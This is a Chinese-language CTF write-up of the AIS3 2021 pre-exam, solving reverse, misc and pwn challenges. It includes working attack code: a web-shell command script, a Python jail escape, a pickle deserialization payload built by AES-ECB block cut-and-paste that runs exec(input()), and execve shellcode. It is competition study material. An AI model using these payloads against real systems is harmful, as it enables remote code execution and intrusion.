AIS3 2021 pre-exam WriteUps

這次參加了 AIS3 2021 pre-exam 拿到了第一名,寫點 writeup 把東西記錄下來。去年這個時候連 CTF 是什麼都完全不知道,第一次接觸 AIS3 的時候是 EOF 的時候,pre-exam 完全是第一次碰過。

Reverse

Piano

可以看了出是 .NET 的程式,下載 dotPeek 之後把 dll 打開來看可以看到它要你彈一首小星星就會出現 flag,或是自己把需要的那些資料拿出來自己算出 flag 也可以。

Flag: AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}

🐰 Peekora 🥒

這題是用 pickle 寫的 flag checker,用 python 的 pickletools.dis 就能看到解析過的 pickle 檔案,裡面可以看到它有一些條件,所以用 z3 把那些條件記錄下來就能得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from z3 import *

flag = [BitVec(f"f_{i}", 8) for i in range(16)]

s = Solver()
s.add(flag[0] == ord("A"))
s.add(flag[1] == ord("I"))
s.add(flag[2] == ord("S"))
s.add(flag[3] == ord("3"))
s.add(flag[4] == ord("{"))
s.add(flag[-1] == ord("}"))
s.add(flag[6] == ord("A"))
s.add(flag[9] == ord("j"))
memo3 = flag[9]
s.add(flag[11] == ord("p"))
s.add(flag[14] == memo3)
memo4 = flag[1]
s.add(flag[5] == ord("d"))
s.add(flag[10] == ord("z"))
s.add(flag[12] == ord("h"))
s.add(flag[13] == memo4)
s.add(flag[8] == ord("w"))
s.add(flag[7] == ord("m"))

assert s.check() == sat

m = s.model()
flag = bytes([m[x].as_long() for x in flag])
print(flag.decode())

Flag: AIS3{dAmwjzphIj}

COLORS

這題有個被混淆過的 js 檔,手動去混淆之後可以變成這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
const _0x3eb4 = [
'repeat',
'1YqKovX',
'NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9MjA9MTA9',
'substr',
'output',
'getElementsByTagName',
'65022JgPEZp',
'keydown',
'length',
'innerHTML',
'677PRUQAU',
'ArrowLeft',
'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
'133781JKLWBV',
'ArrowUp',
'90407czXCgh',
'PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTEwcHg7IGxlZnQ6IDUwJTsgZm9udC1zaXplOiAyMHB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7IHdpZHRoOiAzNTBweDsiPkhlcmUgaXMgeW91cjxicj4iZW5jb2RlZCIgZmxhZyw8YnI+aW5wdXQgdG8gZW5jb2RlIHNvbWV0aGluZyBlbHNlITwvZGl2PiA8c3ZnIGlkPSLwn5CIIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIzIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGlkPSJib2R5Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJmaWxsIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgI2ZmOGQ4YjsgI2ZlZDY4OTsgIzg4ZmY4OTsgIzg3ZmZmZjsgIzhiYjVmZTsgI2Q3OGNmZjsgI2ZmOGNmZjsgI2ZmNjhmNzsgI2ZlNmNiNzsgI2ZmNjk2ODsgI2ZmOGQ4YiAiPjwvYW5pbWF0ZT48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJkIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgTTY3LjEsMTA5LjVjLTkuNiwwLTIzLjYtOC44LTIzLjYtMjRjMC0xMi4xLDE3LjgtNDEsMzcuNS00MWMxNS42LDAsMjMuMywxMC42LDI1LjEsMjAuNSBjMS45LDEwLjcsMy45LDguMiwzLjksMTkuNWMwLDguMi0zLjgsMTctMy44LDIyLjNjMCwzLjksMS40LDcuNCwyLjksMTAuNWMxLjcsMy41LDIuNCw2LjYsMi40LDkuMkg5LjVjMC0xMy43LDEwLjgtMTQsMjEuMS0yMyBjNS42LTQuOSwxMS0xMi40LDE0LjUtMjY7IE01Ni4xLDEwNy41Yy05LjYsMC0yNC42LTEzLjgtMjQuNi0yOWMwLTE2LjIsMTMtNDIsMzMuNS00MmMxNy44LDAsMjIuMywxMS42LDI2LjEsMjIuNSBjMy42LDEwLjMsOS45LDkuMiw5LjksMjAuNWMwLDguMi0xLjgsNy0xLjgsMTIuM2MwLDQuNSwzLjQsOC4yLDYuNCwxNC4xYzIuNSw0LjgsNC44LDExLjIsNC44LDIwLjZoLTk5YzAtMTIuMSw3LjItMTcuNiwxNC43LTI0LjMgYzMuMi0yLjksNi41LTUuOSw5LjItOS44OyBNNDUuMSwxMDkuNWMtNS41LTAuMi0yNy42LTguNC0yNy42LTI3YzAtMTcuOSwxNC44LTQyLDMyLjUtNDJjMTUuNCwwLDI0LDEwLjQsMjYuMSwyMS41IGMxLjMsNi43LDkuOSw5LjgsOS45LDIxLjVjMCw4LjItMC44LDYtMC44LDExLjNjMCw3LjcsMTIuOCw5LDIwLjgsMTVjNy43LDUuOCwxNS41LDE2LjcsMTUuNSwxNi43aC0xMTBjMC00LjgsMS43LTExLjMsNS0xNiBjMy4yLTQuNSw0LjUtOC4zLDUtMTU7IE0zNiwxMjBjLTUuNS0wLjItMjguNS0xMS45LTI4LjUtMzAuNWMwLTE2LjIsMTIuNS00MiwzMy00MmMxNy44LDAsMjEuOCw5LjYsMjUuNiwyMC41IEM2OS43LDc4LjMsNzYsNzguMiw3Niw4OS41YzAsOC4yLTAuOCw0LTAuOCw5LjNjMCw1LjksMTYuNSw3LjgsMjguNCwxNS45YzgsNS41LDE3LjksMTEuOCwxNy45LDExLjhoLTExMGMwLTIuMS0xLjItNS4yLTEuOS0xNC41IGMtMC4zLTMuNi0wLjUtOC4xLTAuNS0xMy45OyBNMzcsMTE5LjVjLTE1LDAuMS0zMy41LTEyLjctMzMuNS0zMEMzLjUsNzMuMywxNiw0NywzNi41LDQ3YzE3LjgsMCwyMi44LDExLDI2LDIyIEM2NS42LDc5LjQsNzMsNzkuMiw3Myw5MC41YzAsNC0xLjgsNi42LTEuOCw4LjNjMCw1LjksMTQuMiw2LjQsMjYuNCwxNS45YzcuNyw2LDEzLjksMTEuOCwxMy45LDExLjhINy41Yy0xLjItMy40LTEuOC03LjMtMS45LTExLjIgYy0wLjItNS4xLDAuMy0xMC4xLDAuOS0xMy43OyBNNDAuNSwxMjEuNWMtMTIuNiwwLTMwLTEzLjQtMzAtMjlDMTAuNSw3Ni4zLDIzLDUzLDQzLjUsNTNjMTQuNSwwLDIyLjgsOS42LDI1LDIyIGMxLjIsNi45LDEwLDkuMiwxMCwyMC41YzAsNCwwLDUuNiwwLDcuM2MwLDQuOSw2LjEsNy41LDExLjIsMTEuOWM1LjgsNSw3LjIsMTEuOCw3LjIsMTEuOEg4LjVjMC0xLjUtMC42LTYuMSwwLjQtMTEuOCBjMC42LTMuNSwxLjktNy41LDQuMy0xMS42OyBNNDguNSwxMjEuNWMtMTIuNiwwLTI1LTYuMy0yNS0xOGMwLTE2LjIsMTMuNy00NywzNi00N2MxNS42LDAsMjQuOCw5LjEsMjcsMjEuNSBjMS4yLDYuOSw3LDkuMiw3LDE4LjVjMCw5LjUtNCwxMS00LDIyYzAsNC4xLDAuNSw1LDEsNmMwLjUsMS4yLDEsMiwxLDJoLTgxYzAtNS4zLDMuMS04LjMsNi4zLTExLjVjMi42LTIuNiw1LjQtNS4zLDYuNy05LjU7IE02OC41LDEyMS41Yy0xMi42LDAtMzMtNS44LTMzLTIzYzAtOS4yLDExLjgtMzYsMzctMzZjMTUuNiwwLDI1LjgsOC4xLDI4LDIwLjUgYzEuMiw2LjksNCw2LjIsNCwxNS41YzAsOS41LTUsMTUuMS01LDIxYzAsMS45LDEsMi4zLDEsNWMwLDEuMiwwLDIsMCwyaC05MWMwLjUtNy42LDcuMS0xMS4xLDEzLjctMTUuN2M0LjktMy40LDkuOS03LjUsMTIuMy0xNC4zOyBNNzMuNSwxMTcuNWMtMTIuNiwwLTMwLTYuMi0zMC0yNWMwLTE0LjIsMjAuOS0zNywzOC0zN2MxNy42LDAsMjUuOCwxMS4xLDI4LDIzLjUgYzEuMiw2LjksMyw3LjIsMywxNi41YzAsMTIuMS02LDE2LjEtNiwyMmMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMUg3LjVjMi4xLTkuNCwxMC40LTEzLjMsMTkuMi0xOS40IGM3LjEtNSwxNC40LTExLjUsMTguOC0yMy42OyBNODAuNSwxMTUuNWMtMTIuNiwwLTMyLTkuMi0zMi0yOGMwLTE0LjIsMjIuOS0zNSw0MC0zNWMxNy42LDAsMjUuOCwxMi4xLDI4LDI0LjUgYzEuMiw2LjksMyw2LjIsMywxNS41YzAsMTIuMS02LDE5LjEtNiwyNWMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMWgtMTAyYzIuMy04LjcsMTEuNi0xMS43LDIwLjgtMjAuMSBjNS4zLTQuOCwxMC41LTExLjQsMTQuMi0yMS45OyBNNjcuMSwxMDkuNWMtOS42LDAtMjMuNi04LjgtMjMuNi0yNGMwLTEyLjEsMTcuOC00MSwzNy41LTQxYzE1LjYsMCwyMy4zLDEwLjYsMjUuMSwyMC41IGMxLjksMTAuNywzLjksOC4yLDMuOSwxOS41YzAsOC4yLTMuOCwxNy0zLjgsMjIuM2MwLDMuOSwxLjQsNy40LDIuOSwxMC41YzEuNywzLjUsMi40LDYuNiwyLjQsOS4ySDkuNWMwLTEzLjcsMTAuOC0xNCwyMS4xLTIzIGM1LjYtNC45LDExLTEyLjQsMTQuNS0yNiAiPjwvYW5pbWF0ZT48L3BhdGg+PHBhdGggaWQ9ImJlYWsiIGZpbGw9IiM3YjhjNjgiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9ImQiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IiBNNzguMjksNzBjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzc4LjI5LDg1LjUsNzguMjksNzBaOyBNNjIuMjksNjRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzYyLjI5LDc5LjUsNjIuMjksNjRaOyBNNDguMjksNjdjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQ4LjI5LDgyLjUsNDguMjksNjdaOyBNMzYuMjksNzNjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM2LjI5LDg4LjUsMzYuMjksNzNaOyBNMzUuMjksNzVjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM1LjI5LDkwLjUsMzUuMjksNzVaOyBNNDEuMjksODFjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQxLjI5LDk2LjUsNDEuMjksODFaOyBNNTkuMjksODRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzU5LjI5LDk5LjUsNTkuMjksODRaOyBNNzIuMjksODljMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzcyLjI5LDEwNC41LDcyLjI5LDg5WjsgTTgwLjI5LDgyYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4MC4yOSw5Ny41LDgwLjI5LDgyWjsgTTg3LjI5LDc4YzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4Ny4yOSw5My41LDg3LjI5LDc4WjsgTTc4LjI5LDcwYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M3OC4yOSw4NS41LDc4LjI5LDcwWiAiPjwvYW5pbWF0ZT48L3BhdGg+PGVsbGlwc2UgaWQ9ImV5ZS1yaWdodCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iMTAwOzg0OzcwOzU4OzU3OzYzOzgxOzk0OzEwMjsxMDk7MTAwIj48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjxlbGxpcHNlIGlkPSJleWUtbGVmdCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iNjcuNTs1MS41OzM3LjU7MjUuNTsyNC41OzMwLjU7NDguNTs2MS41OzY5LjU7NzYuNTs2Ny41Ij48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjwvc3ZnPjwvZGl2Pg==',
'131837PcDnWL',
'19pQimXL',
'623605MIswVM',
'charCodeAt',
'join',
'4WsUYDr',
'686oWrfyq',
'body',
'map',
'getElementById',
'textContent',
'match',
'key',
'302349wKdZHP',
'4OYJFlQ',
'input',
'padStart',
'Backspace'
]
function _0x4ebd(_0x532d69, _0x212ed3) {
_0x532d69 = _0x532d69 - 0x1c6
let _0x3eb4a7 = _0x3eb4[_0x532d69]
return _0x3eb4a7
}
;(function (_0x496f79, _0x226742) {
const _0x463eac = _0x4ebd
while (!![]) {
try {
const _0x12c745 =
-parseInt(_0x463eac(0x1e6)) +
parseInt(_0x463eac(0x1ce)) * -parseInt(_0x463eac(0x1de)) +
-parseInt(_0x463eac(0x1db)) +
-parseInt(_0x463eac(0x1e7)) * parseInt(_0x463eac(0x1d7)) +
-parseInt(_0x463eac(0x1d5)) * parseInt(_0x463eac(0x1c9)) +
parseInt(_0x463eac(0x1df)) * -parseInt(_0x463eac(0x1d2)) +
parseInt(_0x463eac(0x1d9)) * parseInt(_0x463eac(0x1da))
if (_0x12c745 === _0x226742) break
else _0x496f79['push'](_0x496f79['shift']())
} catch (_0xe36f7) {
_0x496f79['push'](_0x496f79['shift']())
}
}
})(_0x3eb4, 0x57a76),
(() => {
const _0x1cd51f = _0x4ebd,
_0x54579e = _0x1cd51f(0x1d8),
_0x78ed5a = _0x1cd51f(0x1ca),
CONSTSTR = 'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
eight = 0x8,
ten = 0xa
let input,
counter = 0x0
function encode(str) {
if (!str['length']) return ''
let bits = '',
ret = '',
padLen = 0x0
for (let i = 0x0; i < str['length']; i++)
bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
padLen = (bits['length'] % ten) / 0x2 - 0x1
if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
bits = bits['match'](/(.{1,10})/g)
for (let b of bits) {
let bi = parseInt(b, 0x2)
ret += htmlWrap((bi >> 0x6) & 0x7, bi >> 0x9, atob(CONSTSTR)[bi & 0x3f])
}
for (; padLen > 0x0; padLen--) {
ret += htmlWrap(padLen % eight, 0x0, '=')
}
return ret
}
let htmlWrap = (color, rotation, val) =>
'<span><div\x20class=\x22c' + color + '\x20r' + rotation + '\x22>' + val + '</div></span>',
_0x1fdafa = x => (document['getElementById']('output')['innerHTML'] = encode(x))
document['addEventListener']('keydown', event => {
const _0x12b963 = _0x1cd51f
if (event['key'] === _0x12b963(0x1c7) && counter == 0xa)
input['textContent'] = input['textContent']['substr'](0x0, input['textContent']['length'] - 0x1)
else {
if (event['key'] === 'ArrowUp' && !(counter >> 0x1)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowDown' && !(counter >> 0x2)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowLeft' && (counter == 0x4 || counter == 0x6)) return (counter += 0x1)
else {
if (event['key'] === 'ArrowRight' && (counter == 0x5 || counter == 0x7))
return (counter += 0x1)
else {
if (event['key'] === 'b' && counter == 0x8) return (counter += 0x1)
else {
if (event['key'] === 'a' && counter == 0x9)
return (
(document['getElementsByTagName']('body')[0x0]['innerHTML'] +=
atob(_0x54579e)),
(input = document['getElementById']('input')),
(input['innerHTML'] = ''),
(document['getElementById']('output')['innerHTML'] = atob(_0x78ed5a)
['match'](/(.{1,3})/g)
['map'](_0x5efa9e =>
htmlWrap(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2])
)
['join']('')),
(counter += 0x1)
)
else {
if (event['key']['length'] == 0x1 && counter == 0xa)
input['textContent'] += String['fromCharCode'](event['key']['charCodeAt']())
else return
}
}
}
}
}
}
}
_0x1fdafa(input['textContent'])
})
})()

可以看出它是會在你輸入 Konami Code (上上下下左右左右BA) 之後顯示出 encode 過的 flag,然後你可以自己輸入一些東西去 encode。讀一下 encode 的 function 可以知道它是把每個字元轉成 8 個 bits 接在一起,然後 pad 到以 10 為對齊之後 10 個一組,後面 6 bits encode 到字元去,然後前面的 1 和 3 bits 分別 encode 到方向與顏色,所以寫個反轉換的 code 就有 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
const original =
'40B20g30i51J60601\\30w40130A41j40\\41130g70u30i10k30l40760x50i50X10K10I40h50X00K41i51l70670f40o10650570K11n51870741B50-11840w31a10r41z70K30=20=10='
const encoded = original
.match(/.{1,3}/g)
.map(x => x[2])
.join('') // 'BgiJ6\\w1Aj\\1guikl7xiXKIhXKil6fo65Kn87B-8warzK==='
const atob = s => Buffer.from(s, 'base64').toString()
const CONSTSTR = atob('QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ=='),
eight = 0x8,
ten = 0xa

function encode(str) {
if (!str['length']) return ''
let bits = '',
ret = '',
padLen = 0x0
for (let i = 0x0; i < str['length']; i++) bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
padLen = (bits['length'] % ten) / 0x2 - 0x1
if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
bits = bits['match'](/(.{1,10})/g)
for (let b of bits) {
let bi = parseInt(b, 0x2)
ret += CONSTSTR[bi & 0x3f]
}
for (; padLen > 0x0; padLen--) {
ret += '='
}
return ret
}

const toks = original.match(/.{1,3}/g)
const bits = []
for (let i = 0; i < encoded.length; i++) {
const ix = CONSTSTR.indexOf(encoded.charAt(i))
if (ix < 0) continue
b3 = parseInt(toks[i][0])
bits.push(toks[i][1] + b3.toString(2).padStart(3, '0') + ix.toString(2).padStart(6, '0'))
}
console.log(
bits
.join('')
.match(/.{1,8}/g)
.map(x => String.fromCharCode(parseInt(x, 2)))
.join('')
)

Flag: AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}

Misc

Microcheese

題目是要和一個 bot 玩 Nim Game,它一開始是給你一個你必輸的局面,所以沒有正規方法能贏。

這題是 Crypto 的 Microchess 的有 bug 版本,我最初這題也是用 Microchess 的 intended solution 解的。

diff 兩個版本的不同可以看到 bug 的地方是 play 函數沒有檢查 choice 是不是 0 1 2 其中之一,所以輸入其他的數字可以直接 pass 一回合。所以只要先玩到剩下 1,1 兩堆之後輸入一個其他數字 pass,然後就會剩下 1,把它拿掉之後就勝利了。

Flag: AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}

舊版 Flag(在作者沒發現有 bug 的時候的 flag): AIS3{1._d4_d5_2._c4_e6_3._Nc3_c6_4._Nf3_dxc4}

Blind

它會先把 stdout(1) 給 close,然後讓你做一個 syscall 之後 read flag 並 write1 這個 pipe。所以這邊只要用 dup2 把 stderr(2) 複製到 1,這樣它 write 的時候就會顯示到 stderr 上面去,就能得到 flag。所以輸入是 33 2 1 0

Flag: AIS3{dupppppqqqqqub}

[震撼彈] AIS3 官網疑遭駭!

這題有個 pcap,裡面有許多的 dns 和 http requests,它的 http requests 都是發向 magic.ais3.org 的,但是實際上 dig 卻找不到。這邊要看 http target 的 address,可以注意到它和 quiz.ais3.org 是同個 ip,但是直接瀏覽時只能看到 nginx 的預設頁面而已,這邊我用了 curl--resolve 修改 Host header 測試了一下,發現 magic.ais3.org 確實有在那個 ip 上面,只是要自己加 header。改一下 hosts 之後也能從瀏覽器瀏覽 magic.ais3.org

然後透過觀察 http request 可以看到有一個 request 特別不同,觀察一下參數可以發現它是某個指令的 base64 再 reverse 的結果,測試一下可以發現那個頁面就是個 shell 可以讓你用,只是要把指令用 reverse 過的 base64 encode 起來。

1
2
3
4
5
6
7
8
9
10
import requests
from base64 import b64encode

cmd = "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d"
resp = requests.get(
"http://10.153.11.126:8100/Index.php",
headers={"Host": "magic.ais3.org"},
params={"page": b64encode(cmd.encode())[::-1]},
)
print(resp.text)

Flag: AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}

Cat Slayer | Online Edition

這題是個文字的 Online Game,打怪升等可以獲得金錢,然後還能解索 curse 字元。curse 字元是你可以用在解一個簡單的 pyjail (sandbox.py) 能用的字元,不在上面的一些字元如果出現在 payload (spell) 中的話就不給你執行。預測被 blacklist 的字元有 ascii 的 digits、ascii 的 lowercase、().'",最後的三個字元還要升到 10 等之後轉生才能解鎖。

首先是解 pyjail 的部份,它是這樣做 sandbox 的:

1
2
3
4
5
_eval = __builtins__.eval
del __builtins__.exec
del __builtins__.eval
del __builtins__.__import__
_eval(spell, {})

它的前面還有檢查 spell 是不是純 ascii 的,因為不能用 .'" (轉生很麻煩) 所以可以利用 getattrinput 來接,所以一個基本的 payload 是這樣:

1
getattr(getattr(__loader__,input())(input()),input())(input())

然後輸入就分別輸入 load_module os system whoami 即可,這等價於 __loader__.load_module('os').system('whoami'),之後再稍微縮短點可以變成:

1
(l:=input,o:=getattr,o(o(__loader__,l())(l()),l())(l()))

之後套它給的公式可以算出它最低能達成目標的等級是 3 等,不過我是用 4 等解的,因為之前不小心多解鎖了一個沒用的字元。升等部分的話就利用它的商店沒有檢查數量是不是負數,可以亂賣一些能力值到負數變成錢,弄出很不平衡的能力值,然後就能打敗怪物到 3 或是 4 等左右,之後再把能力值直接賣到負數去解鎖需要的字元,然後再送 payload 得到 shell 就完成了。

Flag: AIS3{CAO_Cat_Art_Online}

Cat Slayer | Cloud Edition

這題它會把你的玩家資料用 pickle 存起來,然後加上 padding 後用 AES ECB 加密之後給你,load 的時候也是先解密後去 padding,然後再呼叫 pickle.loads

這題關於 Crypto 所需要的部分就只有 AES ECB 模式在加密一樣的 block 的時候產生的結果是固定的(key 固定的時候),所以可以透過輸入名稱的時候把它對齊 block 的大小之後再塞自己的 pickle payload 就能得到 payload 的 ciphertext 了,加密過的 padding 的也是能透過對齊來取得。

不過這題的另一個難點是它讓你輸入名稱的時候用的是 input 函數,所以只要出現 \n 都會直接被中斷,所以 payload 沒辦法用 GLOBAL (c__builtin__\neval\n) 這樣的用法。去讀 pickle 的 source code 可以知道比較新版的 python 還有個 STACK_GLOBAL (\x93 然後從 stack 頂端取兩個來 find_class) 能用,不過可以觀察到在 input 輸入 \x93 的時候會被變成 \xc2\x93,因為它是吃 unicode 的。

這邊我用的是 BINPUT (q) 去把後面的一個字元去掉,所以 q\x93 變成 q\xc2\x93,然後 q\xc2 只是把 stack 頂端的東西放到第 0xc2 的 memo 而已,相當於沒有效果。而字串的部分我用的是 BINUNICODE(X) 去輸入,之後湊出 payload 再對齊,然後補上對應的 padding 之後就能成功把 payload 送入 pickle.loads get shell。

下面的腳本是 payload 生成的腳本,之後把結果輸入到 load 的地方之後就會執行 exec(input()):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import remote, process

REMOTE = True


def encrypt(data: bytes):
assert len(data) % 16 == 0
assert not b"\n" in data
p = (
remote("quiz.ais3.org", 2222)
if REMOTE
else process(["python", "cat_slayer_cloud_edition.py"])
)
p.recvuntil(b"Name: ")
p.sendline(b"a" * 9 + data + b"c" * 8)
p.recvuntil(b"Choose: ")
p.sendline(b"V")
p.recvuntil(b"Saved Data: ")
ct = bytes.fromhex(p.recvline().decode().strip())
return ct[64 : 64 + len(data)] + ct[-16:]


# pk = b"c__builtin__\nexec\n(c__builtin__\ninput\n)RtR."
pk = b'X\x0b\x00\x00\x00__builtin__X\x04\x00\x00\x00execq\x93(X\x0b\x00\x00\x00__builtin__X\x05\x00\x00\x00inputq\x93)RtR.'
# \x93 will be \xc2\x93, so q\x93 effectively becomes \x93
print(encrypt(pk + b"a" * (16 - len(pk) % 16)).hex())

Flag: AIS3{mag1c_pick13_cut&paste}

之後還能利用 env 指令去看到 AES 的 key 是 EnR3vCSX7PFyCzekBVAMMIK0jICLL1Mx,這樣就能更簡單的生成 payload 了

Pwn

Write Me

這題它先把 GOT 中的 system 清掉,然後讓你隨便寫入一次後呼叫 system('/bin/sh')。所以做法也很簡單,讓它再去呼叫一次 lazy binding 的 code 即可,所以是把 4210728 的 address 的值改成 4198480 就能恢復 GOT 中的 system 並正常呼叫。

Flag: AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}

noper

這題輸入一個 shellcode,然後它會固定把某些位置的 byte 改成 nop,所以就自己寫一下 shellcode 然後讓它不要蓋到重要的部分就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = "amd64"

indexes = [6, 10, 13, 17, 39, 41, 44, 51, 63]
sc = bytearray(
asm(
"""
xor rsi, rsi
xor rdx, rdx
# 6
nop
# 7
nop
nop
nop
# 10
nop
# 11
nop
nop
nop
# 14
nop
nop
nop
# 17
nop
# 18
mov rax, 0x68732f6e69622f
# 28
push rax
# 29
mov rdi, rsp
xor rax, rax
mov al, 59
syscall
"""
)
)
print(len(sc))
print(disasm(sc))
print()
for i in indexes:
if i < len(sc):
sc[i] = 0x90
print(disasm(sc))

